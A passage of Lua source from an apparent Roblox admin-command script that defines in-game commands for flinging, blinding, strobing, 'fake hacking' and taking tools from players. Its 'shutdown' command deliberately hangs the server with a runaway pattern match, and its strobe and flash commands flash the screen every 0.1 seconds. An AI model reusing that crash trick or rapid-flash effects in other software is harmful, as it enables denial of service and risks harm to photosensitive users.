  6638. local _,RankNum = RANK:GetRank(Player)
  6639. if RankNum <= RANK:ConvertRank(Rank) then
  6640. CORE:FlingPlayer(Player)
  6641. end
  6642. end
  6643. end};
  6644.  
  6645. [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
  6646. local Players = STRING:Scan(Arguments[1], Speaker)
  6647. for _,Player in pairs(Players) do
  6648. local _,RankNum = RANK:GetRank(Player)
  6649. if RankNum <= RANK:ConvertRank(Rank) then
  6650. Flings[Player.Name] = true
  6651. CORE:FlingPlayer(Player)
  6652. end
  6653. end
  6654. end};
  6655.  
  6656. [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
  6657. local Players = STRING:Scan(Arguments[1], Speaker)
  6658. for _,Player in pairs(Players) do
  6659. local _,RankNum = RANK:GetRank(Player)
  6660. if RankNum <= RANK:ConvertRank(Rank) then
  6661. Flings[Player.Name] = nil
  6662. end
  6663. end
  6664. end};
  6665.  
  6666. [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6667. local Players = STRING:Scan(Arguments[1], Speaker)
  6668. for _,Player in pairs(Players) do
  6669. CORE:Nuke(Player)
  6670. end
  6671. end};
  6672.  
  6673. [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6674. local Players = STRING:Scan(Arguments[1], Speaker)
  6675. for _,Player in pairs(Players) do
  6676. Beeps[Player.Name] = true
  6677. SOUND:BeepPlayer(Player)
  6678. end
  6679. end};
  6680.  
  6681. [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
  6682. local Players = STRING:Scan(Arguments[1], Speaker)
  6683. for _,Player in pairs(Players) do
  6684. if Player.PlayerGui then
  6685. Beeps[Player.Name] = nil
  6686. for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
  6687. if Obj.Name == "Annoy" then
  6688. Obj:Stop()
  6689. Obj:Destroy()
  6690. end
  6691. end
  6692. end
  6693. end
  6694. end};
  6695.  
  6696. [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6697. local Time = Arguments[1]
  6698. if Time == "day" or Time == "noon" then Time = "12" end
  6699. if Time == "night" or Time == "midnight" then Time = "0" end
  6700. if Time == "dawn" or Time == "morning" then Time = "6:15" end
  6701. if Time == "dusk" or Time == "evening" then Time = "17:45" end
  6702. if Time == "afternoon" then Time = "15:30" end
  6703. ypcall(function() Server.Lighting.TimeOfDay = Time end)
  6704. end};
  6705.  
  6706. [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
  6707. local Players = STRING:Scan(Arguments[1], Speaker)
  6708. for _,Player in pairs(Players) do
  6709. MARKET:PromptPurchase(Player, Arguments[2], Speaker)
  6710. end
  6711. end};
  6712.  
  6713. [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  6714. local AbuseMode = false
  6715. if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  6716. local Players = STRING:Scan(Arguments[1], Speaker)
  6717. for _,Player in pairs(Players) do
  6718. CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  6719. end
  6720. end};
  6721.  
  6722. [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
  6723. local Players = STRING:Scan(Arguments[1], Speaker)
  6724. for _,Player in pairs(Players) do
  6725. CORE:Insert(125013769, Player.Backpack, true)
  6726. end
  6727. end};
  6728.  
  6729. [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
  6730. local Players = STRING:Scan(Arguments[1], Speaker)
  6731. for _,Player in pairs(Players) do
  6732. if Player.Character then
  6733. CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
  6734. end
  6735. end
  6736. end};
  6737.  
  6738. [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
  6739. CORE:ResetLighting()
  6740. repeat
  6741. Server.Lighting.Ambient = Color3.new(1,1,1)
  6742. Server.Lighting.FogColor = Color3.new(1,1,1)
  6743. Server.Lighting.Brightness = 1
  6744. Server.Lighting.TimeOfDay = 14
  6745. wait(0.1)
  6746. Server.Lighting.Ambient = Color3.new(0,0,0)
  6747. Server.Lighting.FogColor = Color3.new(0,0,0)
  6748. Server.Lighting.Brightness = 0
  6749. Server.Lighting.TimeOfDay = 0
  6750. wait(0.1)
  6751. until ModLighting == false
  6752. end};
  6753.  
  6754. [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
  6755. CORE:ResetLighting()
  6756. repeat
  6757. local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  6758. Server.Lighting.Ambient = Color
  6759. Server.Lighting.FogColor = Color
  6760. Server.Lighting.TimeOfDay = 0
  6761. Server.Lighting.FogEnd = 500
  6762. wait(0.1)
  6763. until ModLighting == false
  6764. end};
  6765.  
  6766. [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
  6767. CORE:FixLighting()
  6768. end};
  6769.  
  6770. [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
  6771. local Players = STRING:Scan(Arguments[1], Speaker)
  6772. for _,Player in pairs(Players) do
  6773. if Player:FindFirstChild("PlayerGui") then
  6774. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6775. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  6776. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
  6777. coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
  6778. end
  6779. end
  6780. end};
  6781.  
  6782. [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
  6783. local Players = STRING:Scan(Arguments[1], Speaker)
  6784. for _,Player in pairs(Players) do
  6785. if Player:FindFirstChild("PlayerGui") then
  6786. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6787. end
  6788. end
  6789. end};
  6790.  
  6791. [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
  6792. local Players = STRING:Scan(Arguments[1], Speaker)
  6793. for _,Player in pairs(Players) do
  6794. if Player:FindFirstChild("PlayerGui") then
  6795. local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
  6796. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
  6797. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
  6798. end
  6799. end
  6800. end};
  6801.  
  6802. [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
  6803. local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
  6804. if Suc then
  6805. Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
  6806. else
  6807. Server.TS:Teleport(game.PlaceId, Speaker)
  6808. end
  6809. end};
  6810.  
  6811. [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
  6812. GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
  6813. end};
  6814.  
  6815. [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6816. local NewAbuse = Arguments[1]
  6817. if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
  6818. NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
  6819. end
  6820.  
  6821. local Match = false
  6822. for _,AbuseCmd in pairs(Settings.AbuseList) do
  6823. if string.lower(AbuseCmd) == string.lower(NewAbuse) then
  6824. Match = true
  6825. break
  6826. end
  6827. end
  6828. if not Match then
  6829. table.insert(Settings.AbuseList, NewAbuse)
  6830. GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
  6831. else
  6832. GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
  6833. end
  6834. CORE:SetAbuseCommands()
  6835. end};
  6836.  
  6837. [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
  6838. local NewAbuse = Arguments[1]
  6839. if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
  6840. NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
  6841. end
  6842.  
  6843. local Removed = false
  6844. for Num,AbuseCmd in pairs(Settings.AbuseList) do
  6845. if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
  6846. Removed = true
  6847. table.remove(Settings.AbuseList, Num)
  6848. end
  6849. end
  6850. if Removed then
  6851. GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
  6852. else
  6853. GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
  6854. end
  6855. CORE:SetAbuseCommands()
  6856. end};
  6857.  
  6858. [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
  6859. local Players = STRING:Scan(Arguments[1], Speaker)
  6860. for _,Player in pairs(Players) do
  6861. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6862. Player.Character.Humanoid.MaxHealth = math.huge
  6863. Player.Character.Humanoid.Health = math.huge
  6864. end
  6865. end
  6866. end};
  6867.  
  6868. [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
  6869. local Players = STRING:Scan(Arguments[1], Speaker)
  6870. for _,Player in pairs(Players) do
  6871. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6872. if Player.Character.Humanoid.MaxHealth == math.huge then
  6873. Player.Character.Humanoid.MaxHealth = 100
  6874. Player.Character.Humanoid.Health = 100
  6875. else
  6876. Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
  6877. end
  6878. end
  6879. end
  6880. end};
  6881.  
  6882. [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
  6883. local Players = STRING:Scan(Arguments[1], Speaker)
  6884. for _,Player in pairs(Players) do
  6885. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6886. local Char = Player.Character
  6887. repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
  6888. end
  6889. end
  6890. end};
  6891.  
  6892. [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6893. if tonumber(Arguments[2]) then
  6894. local Players = STRING:Scan(Arguments[1], Speaker)
  6895. for _,Player in pairs(Players) do
  6896. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6897. Player.Character.Humanoid.Health = Arguments[2]
  6898. end
  6899. end
  6900. end
  6901. end};
  6902.  
  6903. [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6904. if tonumber(Arguments[2]) then
  6905. local Players = STRING:Scan(Arguments[1], Speaker)
  6906. for _,Player in pairs(Players) do
  6907. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6908. local Speed = tonumber(Arguments[2])
  6909. if Speed then
  6910. if Rank == "Member" then
  6911. if Speed > 1000 then Speed = 1000
  6912. elseif Speed < -1000 then Speed = -1000 end
  6913. end
  6914. Player.Character.Humanoid.WalkSpeed = Speed
  6915. end
  6916. end
  6917. end
  6918. end
  6919. end};
  6920.  
  6921. [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
  6922. if tonumber(Arguments[2]) then
  6923. local Players = STRING:Scan(Arguments[1], Speaker)
  6924. for _,Player in pairs(Players) do
  6925. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  6926. Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
  6927. end
  6928. end
  6929. end
  6930. end};
  6931.  
  6932. [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
  6933. local Players = STRING:Scan(Arguments[1], Speaker)
  6934. for _,Player in pairs(Players) do
  6935. CORE:Fly(Player, 10000)
  6936. end
  6937. end};
  6938.  
  6939. [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
  6940. local Players = STRING:Scan(Arguments[1], Speaker)
  6941. for _,Player in pairs(Players) do
  6942. CORE:Fly(Player, 1000000)
  6943. end
  6944. end};
  6945.  
  6946. [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  6947. local Players = STRING:Scan(Arguments[1], Speaker)
  6948. for _,Player in pairs(Players) do
  6949. if Player.Character then
  6950. if Player.Character:FindFirstChild("StopMMLFly") then
  6951. Player.Character.StopMMLFly:InvokeClient(Player)
  6952. end
  6953. end
  6954. end
  6955. end};
  6956.  
  6957. [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6958. ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
  6959. GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
  6960. end};
  6961.  
  6962. [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
  6963. local Players = STRING:Scan(Arguments[1], Speaker)
  6964. for _,Player in pairs(Players) do
  6965. CORE:GiveTools(Player, Arguments[2])
  6966. end
  6967. end};
  6968.  
  6969. [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
  6970. local List = {}
  6971. for _,Region in pairs(ToolRegions) do
  6972. CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
  6973. table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
  6974. end)
  6975. end
  6976.  
  6977. GUI:ListGui(Speaker, "Tool list", List, 73589272)
  6978. end};
  6979.  
  6980. [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
  6981. local Players = STRING:Scan(Arguments[1], Speaker)
  6982. for _,Player in pairs(Players) do
  6983. CORE:GiveTools(Player, "btools")
  6984. end
  6985. end};
  6986.  
  6987. [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
  6988. REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
  6989. for _,Player in pairs(Server.Players:GetPlayers()) do
  6990. Player:Kick()
  6991. end
  6992. Server.Workspace:ClearAllChildren()
  6993. string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
  6994. end};
  6995.  
  6996. [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
  6997. local Players = STRING:Scan(Arguments[1], Speaker)
  6998. for _,Player in pairs(Players) do
  6999. CORE:Scale(Player, Arguments[2])
  7000. end
  7001. end};
  7002.  
  7003. [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
  7004. local Players = STRING:Scan(Arguments[1], Speaker)
  7005. for _,Player in pairs(Players) do
  7006. CORE:Scale(Player, 50)
  7007. end
  7008. end};
  7009.  
  7010. [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
  7011. local Players = STRING:Scan(Arguments[1], Speaker)
  7012. for _,Player in pairs(Players) do
  7013. CORE:Scale(Player, 70)
  7014. end
  7015. end, Hidden = true};
  7016.  
  7017. [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
  7018. local Players = STRING:Scan(Arguments[1], Speaker)
  7019. for _,Player in pairs(Players) do
  7020. CORE:Scale(Player, 500)
  7021. end
  7022. end};
  7023.  
  7024. [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
  7025. local Players = STRING:Scan(Arguments[1], Speaker)
  7026. for _,Player in pairs(Players) do
  7027. if Player.Character then
  7028. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  7029. Obj.Reflectance = 0.5
  7030. Obj.BrickColor = BrickColor.new("New Yeller")
  7031. end)
  7032. end
  7033. end
  7034. end};
  7035.  
  7036. [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
  7037. local Players = STRING:Scan(Arguments[1], Speaker)
  7038. for _,Player in pairs(Players) do
  7039. if Player.Character then
  7040. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  7041. Obj.Reflectance = 0.5
  7042. end)
  7043. end
  7044. end
  7045. end};
  7046.  
  7047. [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
  7048. local Players = STRING:Scan(Arguments[1], Speaker)
  7049. for _,Player in pairs(Players) do
  7050. if Player.Character then
  7051. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
  7052. Obj.Transparency = 0.5
  7053. Obj.Reflectance = 0
  7054. Obj.BrickColor = BrickColor.new("Institutional white")
  7055. end)
  7056. CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
  7057. Obj.Transparency = 0.5
  7058. end)
  7059. end
  7060. end
  7061. end};
  7062.  
  7063. [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
  7064. local Players = STRING:Scan(Arguments[1], Speaker)
  7065. for _,Player in pairs(Players) do
  7066. if Player.Character then
  7067. for _,Obj in pairs(Player.Character:GetChildren()) do
  7068. local Valid = false
  7069. for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  7070. if Valid == true then Obj:Destroy() end
  7071. end
  7072. end
  7073. end
  7074. end};
  7075.  
  7076. [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
  7077. local Players = STRING:Scan(Arguments[1], Speaker)
  7078. for _,Player in pairs(Players) do
  7079. if Player.Character then
  7080. for _,Obj in pairs(Player.Character:GetChildren()) do
  7081. local Valid = false
  7082. for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
  7083. if Valid == true then Obj:Destroy() end
  7084. end
  7085. end
  7086. end
  7087. end};
  7088.  
  7089. [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
  7090. local Players = STRING:Scan(Arguments[1], Speaker)
  7091. for _,Player in pairs(Players) do
  7092. if Player.Character then
  7093. for _,Obj in pairs(Player.Character:GetChildren()) do
  7094. local Valid = false
  7095. for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  7096. if Valid == true then Obj:Destroy() end
  7097. end
  7098. end
  7099. end
  7100. end};
  7101.  
  7102. [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
  7103. local Players = STRING:Scan(Arguments[1], Speaker)
  7104. for _,Player in pairs(Players) do
  7105. if Player.Character then
  7106. for _,Obj in pairs(Player.Character:GetChildren()) do
  7107. if Obj:IsA("Accoutrement") then
  7108. Obj:Destroy()
  7109. end
  7110. end
  7111. end
  7112. end
  7113. end};
  7114.  
  7115. [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
  7116. local Players = STRING:Scan(Arguments[1], Speaker)
  7117. for _,Player in pairs(Players) do
  7118. Player:ClearCharacterAppearance()
  7119. end
  7120. end};
  7121.  
  7122. [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
  7123. local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  7124. local TmpPlayers = {}
  7125. local Output = {}
  7126. for _,Data in pairs(Players) do
  7127. table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
  7128. end
  7129. GUI:ListGui(Speaker, "Player Database", Output, 120563622)
  7130. end};
  7131.  
  7132. [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7133. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  7134. GUI:SendHint(Speaker, "Player Database cleared", 5)
  7135. end};
  7136.  
  7137. [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
  7138. local Players = STRING:Scan(Arguments[1], Speaker)
  7139. for _,Player in pairs(Players) do
  7140. GUI:FakeHack(Player)
  7141. end
  7142. end};
  7143.  
  7144. [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  7145. local Players = STRING:Scan(Arguments[1], Speaker)
  7146. for _,Player in pairs(Players) do
  7147. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7148. for _,Object in pairs(Player.Backpack:GetChildren()) do
  7149. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7150. local Clone = Object:Clone()
  7151. Clone.Parent = Speaker.Backpack
  7152. end
  7153. end
  7154. end
  7155. end
  7156. end};
  7157.  
  7158. [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
  7159. local Players = STRING:Scan(Arguments[1], Speaker)
  7160. for _,Player in pairs(Players) do
  7161. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7162. for _,Object in pairs(Player.Backpack:GetChildren()) do
  7163. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7164. Object.Parent = Speaker.Backpack
  7165. end
  7166. end
  7167. end
  7168. end
  7169. end};
  7170.  
  7171. [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7172. local Players = STRING:Scan(Arguments[1], Speaker)
  7173. for _,Player in pairs(Players) do
  7174. if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
  7175. for _,Object in pairs(Speaker.Backpack:GetChildren()) do
  7176. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  7177. local Clone = Object:Clone()
  7178. Clone.Parent = Player.Backpack
  7179. end
  7180. end
  7181. end
  7182. end
  7183. end};
  7184.  
  7185. [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
  7186. local Players = STRING:Scan(Arguments[1], Speaker)
  7187. for _,Player in pairs(Players) do
  7188. if Player:FindFirstChild("Backpack") then
  7189. Player.Backpack:ClearAllChildren()
  7190. end
  7191. if Player.Character ~= nil then
  7192. for _,Obj in pairs(Player.Character:GetChildren()) do
  7193. if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
  7194. Obj:Destroy()
  7195. end
  7196. end
  7197. end
  7198. end
  7199. end};
  7200.  
  7201. [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
  7202. local Players = STRING:Scan(Arguments[1], Speaker)
  7203. for _,Player in pairs(Players) do
  7204. if Player.Character then
  7205. if Player.Character:FindFirstChild("Head") then
  7206. if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
  7207. coroutine.wrap(function()
  7208. if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  7209. local OldFace = Player.Character.Head.face.Texture
  7210. Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
  7211. Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
  7212. Player.Character.Head.face.Texture = "rbxassetid://24067663"
  7213. local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
  7214. Sound:Play()
  7215. coroutine.wrap(function() for i = 1,100 do wait()
  7216. local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
  7217. coroutine.wrap(function() wait(3) Part:Destroy() end)()
  7218. end
  7219. Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
  7220. end end
  7221. end)()
  7222. end
  7223. end
  7224. end
  7225. end
  7226. end};
  7227.  
  7228. [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
  7229. local Players = STRING:Scan(Arguments[1], Speaker)
  7230. for _,Player in pairs(Players) do
  7231. if Player.Character then
  7232. if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
  7233. coroutine.wrap(function()
  7234. if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
  7235. local OldFace = Player.Character.Head.face.Texture
  7236. local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
  7237. local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
  7238. local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
  7239. Player.Character.Head.face.Texture = "rbxassetid://28118994"
  7240. local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
  7241. Sound:Play()
  7242. wait(1)
  7243. Smoke.Enabled = false
  7244. wait(1)
  7245. Fart:Destroy()
  7246. Fart:Destroy()
  7247. Player.Character.Head.face.Texture = OldFace
  7248. end end
  7249. end)()
  7250. end
  7251. end
  7252. end
  7253. end};
  7254.  
  7255. [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
  7256. local Players = STRING:Scan(Arguments[1], Speaker)
  7257. for _,Player in pairs(Players) do
  7258. if Player:FindFirstChild("Backpack") then
  7259. CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
  7260. end
  7261. end
  7262. end};
  7263.  
  7264. [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7265. local Players = STRING:Scan(Arguments[1], Speaker)
  7266. for _,Player in pairs(Players) do
  7267. if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
  7268. Player.Character.MMLGraffiti:ClearAllChildren()
  7269. end
  7270. end
  7271. end};
  7272.  
